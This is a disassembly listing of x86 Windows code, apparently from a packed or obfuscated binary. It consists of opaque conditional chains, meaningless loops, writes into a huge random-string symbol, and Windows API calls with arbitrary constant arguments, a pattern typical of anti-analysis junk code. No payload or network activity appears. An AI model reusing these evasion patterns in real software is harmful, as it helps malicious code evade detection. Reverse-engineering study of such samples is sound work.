mov dword [edx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], ecx
call fcn.004150c0
mov dword [ebp - 0xb4], 0
jmp 0x41fc7a
mov eax, dword [ebp - 0xb4]
add eax, 1
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0x54]
sub ecx, 0x107c2
cmp dword [ebp - 0xb4], ecx
jge 0x41fdff
mov edx, dword [ebp - 0x48]
cmp edx, dword [ebp - 0x58]
jge 0x41fca3
mov dword [ebp - 0x634], 1
jmp 0x41fcad
mov dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x24]
or eax, dword [ebp - 0x634]
je 0x41fdfa
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [0x51a860]
jne 0x41fdfa
mov edx, dword [0x51a860]
cmp edx, dword [ebp - 0xc]
jne 0x41fdfa
mov eax, dword [0x51a8c0]
cmp eax, dword [ebp - 0x34]
jge 0x41fcf0
mov dword [ebp - 0x638], 1
jmp 0x41fcfa
mov dword [ebp - 0x638], 0
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [0x51a85c]
jge 0x41fd11
mov dword [ebp - 0x63c], 1
jmp 0x41fd1b
mov dword [ebp - 0x63c], 0
mov edx, dword [ebp - 0x48]
imul edx, dword [ebp - 4]
and edx, dword [ebp - 0x638]
or edx, dword [ebp - 0x63c]
je 0x41fdfa
mov eax, dword [ebp - 0xc]
cmp eax, dword [0x51a870]
jne 0x41fdfa
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x10]
jne 0x41fdfa
mov edx, dword [0x51a8cc]
cmp edx, dword [0x51a87c]
jne 0x41fdfa
call dword [sym.imp.KERNEL32.dll_CompareStringEx]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x18]
jge 0x41fd7b
mov dword [ebp - 0x640], 1
jmp 0x41fd85
mov dword [ebp - 0x640], 0
mov ecx, dword [ebp - 0x30]
and ecx, dword [ebp - 0x44]
or ecx, dword [ebp - 0x640]
je 0x41fdcf
mov edx, dword [ebp - 8]
cmp edx, dword [0x51a8c0]
jne 0x41fdcf
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x5c]
jne 0x41fdcf
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [ebp - 0x40]
jne 0x41fdcf
push 0xad
push 0x6f1a
push 0x16b42
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 0xc
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
push 0x3cc8
push 0x16ba6
push 0x7bb6
push 0x12da9
push 0x744d
push 0x199b
push 0xa592
call sub.KERNEL32.dll_VerLanguageNameW
add esp, 0x1c
jmp 0x41fc6b
mov dword [ebp - 0xb8], 0
jmp 0x41fe1a
mov eax, dword [ebp - 0xb8]
add eax, 1
mov dword [ebp - 0xb8], eax
mov ecx, dword [ebp - 0x30]
sub ecx, 0xc75b
cmp dword [ebp - 0xb8], ecx
jge 0x420048
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x48]
jge 0x41fe43
mov dword [ebp - 0x644], 1
jmp 0x41fe4d
mov dword [ebp - 0x644], 0
mov eax, dword [ebp - 8]
and eax, dword [0x51a878]
and eax, dword [ebp - 0xc]
xor eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x644]
mov dword [ebp - 0x13d4], eax
mov ecx, dword [0x51a878]
sub ecx, 1
mov dword [0x51a878], ecx
cmp dword [ebp - 0x13d4], 0
je 0x420043
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x14]
jne 0x420043
mov eax, dword [0x51a8b8]
cmp eax, dword [ebp - 0x40]
jne 0x420043
mov ecx, dword [ebp - 0x38]
cmp ecx, dword [0x51a8bc]
jne 0x420043
mov edx, dword [0x51a860]
cmp edx, dword [ebp - 0x50]
jne 0x420043
mov eax, dword [ebp - 0x24]
cmp eax, dword [0x51a874]
jne 0x420043
mov ecx, dword [0x51a880]
mov dword [ebp - 0x13d8], ecx
mov edx, dword [0x51a884]
mov dword [ebp - 0x13dc], edx
mov eax, dword [0x51a884]
add eax, 1
mov dword [0x51a884], eax
mov ecx, dword [ebp - 0x13d8]
cmp ecx, dword [ebp - 0x13dc]
jge 0x41ff0a
mov dword [ebp - 0x648], 1
jmp 0x41ff14
mov dword [ebp - 0x648], 0
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [0x51a86c]
mov ecx, dword [ebp - 0x44]
or ecx, dword [ebp - 0x34]
and ecx, eax
or ecx, dword [ebp - 0x648]
je 0x420043
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x54]
jne 0x420043
mov eax, dword [0x51a85c]
cmp eax, dword [0x51a878]
jne 0x420043
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x50]
jne 0x420043
push 0x1832c
push 0x13258
push 0x21a8
push 0x64e2
push 0x42b5
push 0x1324c
push 0x61b5
push 0x10f7c
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
add esp, 0x20
mov edx, dword [0x51a8b8]
sub edx, 1
mov dword [0x51a8b8], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x51a8b8]
imul ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 8]
jge 0x41ffc7
mov dword [ebp - 0x64c], 1
jmp 0x41ffd1
mov dword [ebp - 0x64c], 0
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x48]
jge 0x41ffe5
mov dword [ebp - 0x650], 1
jmp 0x41ffef
mov dword [ebp - 0x650], 0
mov eax, dword [0x51a878]
sub eax, 1
mov dword [0x51a878], eax
mov ecx, dword [ebp - 0x38]
add ecx, dword [0x51a878]
cmp ecx, dword [ebp - 0x5c]
jge 0x420016
mov dword [ebp - 0x654], 1
jmp 0x420020
mov dword [ebp - 0x654], 0
mov edx, dword [ebp - 0x64c]
and edx, dword [ebp - 0x650]
or edx, dword [ebp - 0x654]
je 0x42003d
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
jmp 0x41fe0b
call fcn.004150c0
mov dword [ebp - 0xbc], 0
jmp 0x420068
mov ecx, dword [ebp - 0xbc]
add ecx, 1
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0x18]
sub edx, 0x17b7e
cmp dword [ebp - 0xbc], edx
jge 0x420164
mov eax, dword [ebp - 0x34]
sub eax, 1
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
imul ecx, dword [0x51a85c]
cmp ecx, dword [0x51a87c]
jge 0x42015f
mov edx, dword [0x51a874]
cmp edx, dword [ebp - 0x44]
jne 0x42015f
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x1c]
jne 0x42015f
mov ecx, dword [0x51a85c]
cmp ecx, dword [0x51a878]
jge 0x4200d1
mov dword [ebp - 0x658], 1
jmp 0x4200db
mov dword [ebp - 0x658], 0
mov edx, dword [0x51a884]
cmp edx, dword [0x51a860]
jge 0x4200f5
mov dword [ebp - 0x65c], 1
jmp 0x4200ff
mov dword [ebp - 0x65c], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [0x51a8a8]
jge 0x420116
mov dword [ebp - 0x660], 1
jmp 0x420120
mov dword [ebp - 0x660], 0
mov ecx, dword [ebp - 0x658]
and ecx, dword [ebp - 0x65c]
or ecx, dword [ebp - 0x660]
je 0x42015f
push 0x12e30
push 0x14492
push 0xf3f7
push 0x9010
push 0x718d
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
add esp, 0x14
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
jmp 0x420059
mov eax, dword [ebp + 0x1c]
and eax, 0xb9b
and eax, 0x262
xor eax, 0x4e684173
mov ecx, 0xffff410f
sub ecx, dword [ebp + 0xc]
or ecx, 0x7f57
xor ecx, 0xfffef8f7
mov dword [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], eax
mov dword [ebp - 0xc0], 0
jmp 0x4201ab
mov edx, dword [ebp - 0xc0]
add edx, 1
mov dword [ebp - 0xc0], edx
mov eax, dword [ebp - 0x24]
sub eax, 0xdce3
cmp dword [ebp - 0xc0], eax
jge 0x4201c6
mov ecx, dword [ebp - 0x54]
add ecx, 1
mov dword [ebp - 0x54], ecx
jmp 0x42019c
mov edx, dword [ebp - 0x2c]
sub edx, 0xba5
push edx
mov eax, dword [0x51a878]
add eax, 0xfd06
push eax
mov ecx, dword [ebp - 0x14]
add ecx, 0x7ada
push ecx
mov edx, dword [ebp - 0x60]
sub edx, 0x33a6
push edx
mov eax, dword [0x51a8cc]
add eax, 0x241
push eax
mov ecx, dword [0x51a8cc]
sub ecx, 0x437a
push ecx
mov edx, dword [ebp - 0x1c]
sub edx, 0x29b
push edx
mov eax, dword [0x51a8c0]
add eax, 0x248e
push eax
call fcn.00416f20
add esp, 0x20
mov dword [ebp - 0xc4], 0
jmp 0x42023f
mov ecx, dword [ebp - 0xc4]
add ecx, 1
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 8]
sub edx, 0xd6df
cmp dword [ebp - 0xc4], edx
jge 0x4203a6
mov eax, dword [0x51a86c]
cmp eax, dword [ebp - 0x44]
jge 0x42026a
mov dword [ebp - 0x664], 1
jmp 0x420274
mov dword [ebp - 0x664], 0
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x2c]
jge 0x420288
mov dword [ebp - 0x668], 1
jmp 0x420292
mov dword [ebp - 0x668], 0
mov edx, dword [ebp - 0x5c]
and edx, dword [0x51a860]
cmp edx, dword [ebp - 0x10]
jge 0x4202ac
mov dword [ebp - 0x66c], 1
jmp 0x4202b6
mov dword [ebp - 0x66c], 0
mov eax, dword [ebp - 0x664]
and eax, dword [ebp - 0x668]
or eax, dword [ebp - 0x66c]
je 0x4203a1
mov ecx, dword [ebp - 0x34]
cmp ecx, dword [ebp - 0x5c]
jge 0x4203a1
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x48]
jne 0x4203a1
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x60]
jne 0x4203a1
mov ecx, dword [ebp - 0x58]
cmp ecx, dword [ebp - 0x20]
jne 0x4203a1
mov edx, dword [ebp - 0x28]
cmp edx, dword [0x51a86c]
jne 0x4203a1
mov eax, dword [0x51a85c]
cmp eax, dword [0x51a880]
jne 0x4203a1
mov ecx, dword [0x51a87c]
add ecx, 1
mov dword [0x51a87c], ecx
mov edx, dword [0x51a87c]
add edx, dword [0x51a8b8]
cmp edx, dword [ebp - 0x1c]
jge 0x4203a1
mov eax, dword [0x51a880]
cmp eax, dword [ebp - 0x54]
jne 0x4203a1
mov ecx, dword [0x51a860]
cmp ecx, dword [ebp - 0x44]
jne 0x4203a1
push 0x7f0c
push 0xaf29
push 0x25f
push 0x8f9c
push 0x4b20
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
add esp, 0x14
mov edx, dword [0x51a87c]
add edx, 1
mov dword [0x51a87c], edx
push 0xa38e
push 0x10444
push 0x13e1d
push 0xb85e
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
add esp, 0x10
jmp 0x420230
mov eax, dword [ebp + 0xc]
or eax, 0xa589
xor eax, 0xafbd
mov ecx, dword [ebp + 0x1c]
or ecx, 0x54fd
xor ecx, 0x5125
mov byte [ecx + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], al
mov edx, dword [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
add eax, 0x2463
push eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0xab8
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x94ac
push edx
mov eax, dword [ebp - 0xc]
add eax, 0xc016
push eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0x4571
push ecx
mov edx, dword [ebp - 0x48]
sub edx, 0x8b2c
push edx
mov eax, dword [0x51a874]
add eax, 0x2698
push eax
mov ecx, dword [ebp - 0x20]
sub ecx, 0xb584
push ecx
call fcn.00416f20
add esp, 0x20
mov edx, dword [ebp + 8]
and edx, 0xeea2
xor edx, 0x496da9c3
mov eax, 0x831b
sub eax, dword [ebp + 8]
xor eax, 0xffff9cb4
mov dword [eax + str.ATUYSaBjYtYjMDfZANYHerxTKDTOLluHmNXkkWucwTGTMSbsvyVLoVvewLgApylfzoGVfoAWWIenhpqIgtnIuPcPpKTAudgZCihWSinqDLWFSpyxkFcbjriyfhoEEKxQeTRrMnYkfycKtgoNEFUuNZZsNFvXyPgCFWoRsvmSUwOmwxduqsQSwIABoAooKIgUcFuvvnxlKVqaasCHkVHhQbloisNRRRqodGsimraUZdLldIDGilWrNdNindrznNAHXShmMyJByTSLpxXJTJqtdbWOHBfWqfMRpMeDSEvssbRVKeEfhXsojHGdfVXtUCNPUppIkvIQJItGUuaSuLLvUOPCEpVThSBzTGfsgnLMfVTuZzWAMrFhWXxbyNauMafqxSzhrkUvFmwAhSPwkRczzamukmSZVkIHkjSvHNEWbFjnxchHMBfUQjMQhPzXqdoGWrKeeTsMEursJptiIPaddxSXFuxBvBwAYPxkVMoXsrWRIdAxihfaUjLYHpJrSYLqHIrdouJhoUvVPHROTSbXIBChUmNFCSHSFwjCfxBQBdNkDcaWQDyVWpTPyMbuFkaaVqiLoOotZgHJOWsGGvhtwUyGTLmEhyAwNADMWQkWNcgaQIaexVxWHnBYrsQtkQEpUsZmSkmTrfLpnOJUGdjsJJUcBROgiQBStQIoRLsuxQpLtmRAotCOsucLDjblagHOYEczMzZqghCkyBKTwhcafgUjHcwhWAdHyJQzxduAndzwpDIUGnCqSIHnpSjNWeulhcueOEcFvahrCWwiNsHkRCFBwQOJfZpqbCjbhVeAuSrguvGuzYeiubositqFkWvaqXmSxEemfVtURENvOaRwKFrfIVQCXpUbibJpswZkFMDzTsOBmAtAzpfkDdjTSiZwWHUqOZnivhyJxvQjCNJSxlCeLwTnOpJTKkmlVXuStfWGZklBNavixUXntkXcirZonwRtVqylQbamOlcvFzKxONqoYEkwhxqwGaIOpxiwDezOOgGAPnGDvoBqNrBcqAmFhlQkcGnSvQmiweChhVMJqWvoCnnLmDbvgHXktLNNABuWFeSDlJCRwcBPPXHcmYQYKbDNvGIRmKkLNSwPtDvleVpZuhHYfDkjPrykXmivZsqGISdGKkHHnLOPolkrfxTEBrjvSRnOARKLWHCTsIIyOAyEAjhajpqBacOiCojOFRZAIJwiePTlQGftzSDnuBunrJVNGGyDxWaILtRSwBGMialoRHUDYKOPGmsQlyFiWMRxANrZVqCkLoNhjKTrBaBkKEWzCVbbJvzlVQUSUhJgLqZqjEoMARNOzsxunCcdpcStfyTYZAKeeXoqyYPikvaEYadUWrATLbxuSgZMUpHhtXYsJwqdSWaVuIUINuCXSfnlcTFJvVSoDzpJRNMldYVQQtDPYOVYDwBGsbjQebcsKmRZfqRcwNhZboIClPtEubVYUSjwHhwRuHujwqqiXmsAHDwNSBYrywtuTsHGVqVSlJwrogAwdqrkbgDYDdZnjJNFlysMIXtZHEYolVtSYApgISRoAyCnkieSGqFSIXKxrKDFOdOcpliNxqpNkbDqAgBlqOiQDTfjzrAihYAqkvaUbdZUNyEKsUNxneTxsnMZEPLofLptGwIKWRTFUvvoYcYikaKwddhphMDoHFSRHaNrAwEvfzPGkXIcJqmoUILphgkWHavmFxqyQPzSZNTvaxZNcmSgxorhwjumjnyyFhShQEYjDinjhFSMvLjhxfhNXSAIvJpFrjiVoBrCwVspflQNDXkkfKVyAuofrffyQLTDNSpVKUDcJQzeTEbdVkwzdWuvxClQBtgqeaTKxmvyNWxnqyQYjXyeZCoCruhmtFAppoTlEeEZwfkakzKXmqCSwJVYymlGpiWVlDUWJxjtfCoFUfaYMcDWpmgUBoEEOxMYhiVqQppInZAibLCSLXwmkmaJSjkziaUibwsVxlsuaPOBdDABodmPqohSaKJSRWuQiFaNreGiVgRFyfHlkxvpDCGbEffMsJBlx], edx
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [0x51a874]
sub edx, 1
mov dword [0x51a874], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x5c]
jge 0x420476
mov dword [ebp - 0x670], 1
jmp 0x420480
mov dword [ebp - 0x670], 0
mov ecx, dword [ebp - 0x44]
imul ecx, dword [0x51a880]
cmp ecx, dword [0x51a8c4]
jge 0x42049e
mov dword [ebp - 0x674], 1
jmp 0x4204a8
mov dword [ebp - 0x674], 0
mov edx, dword [ebp - 4]
and edx, dword [ebp - 0x670]
or edx, dword [ebp - 0x674]
or edx, dword [ebp - 0x28]
or edx, dword [ebp - 8]
je 0x420619
mov eax, dword [ebp - 0x50]
cmp eax, dword [0x51a8b8]
jne 0x420619
mov ecx, dword [0x51a874]
cmp ecx, dword [0x51a870]
jne 0x420619
mov edx, dword [0x51a860]
cmp edx, dword [ebp - 0x4c]
jne 0x420619
push 0x21fd
push 0xb634
push 0x922c
push 0x1747b
push 0xc31f
push 0x135f8
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
add esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x13e0], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x13e4], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x13e0]
cmp eax, dword [ebp - 0x13e4]
jge 0x42054f
mov dword [ebp - 0x678], 1
jmp 0x420559
mov dword [ebp - 0x678], 0
mov ecx, dword [ebp - 0x54]
sub ecx, 1
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x54]
cmp edx, dword [0x51a85c]
jge 0x420579
mov dword [ebp - 0x67c], 1
jmp 0x420583
mov dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x18]
imul eax, dword [0x51a8b8]
cmp eax, dword [ebp - 0x24]
jge 0x42059e
mov dword [ebp - 0x680], 1
jmp 0x4205a8
mov dword [ebp - 0x680], 0
mov ecx, dword [ebp - 0x678]
or ecx, dword [ebp - 0x67c]
or ecx, dword [ebp - 0x680]
je 0x420619
mov edx, dword [0x51a87c]
cmp edx, dword [ebp - 8]
jne 0x420619
mov eax, dword [0x51a8bc]
cmp eax, dword [ebp - 0x38]
jne 0x420619
mov ecx, dword [0x51a8c0]
cmp ecx, dword [0x51a860]
jne 0x420619
mov edx, dword [ebp - 0x1c]
sub edx, 1
mov dword [ebp - 0x1c], edx
push 0xa66b
push 0xe37a
push 0x1110e
push 0x17111
push 0x1805b
push 0xbbc1
push 0x11cbc
push 0x3ced
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
add esp, 0x20
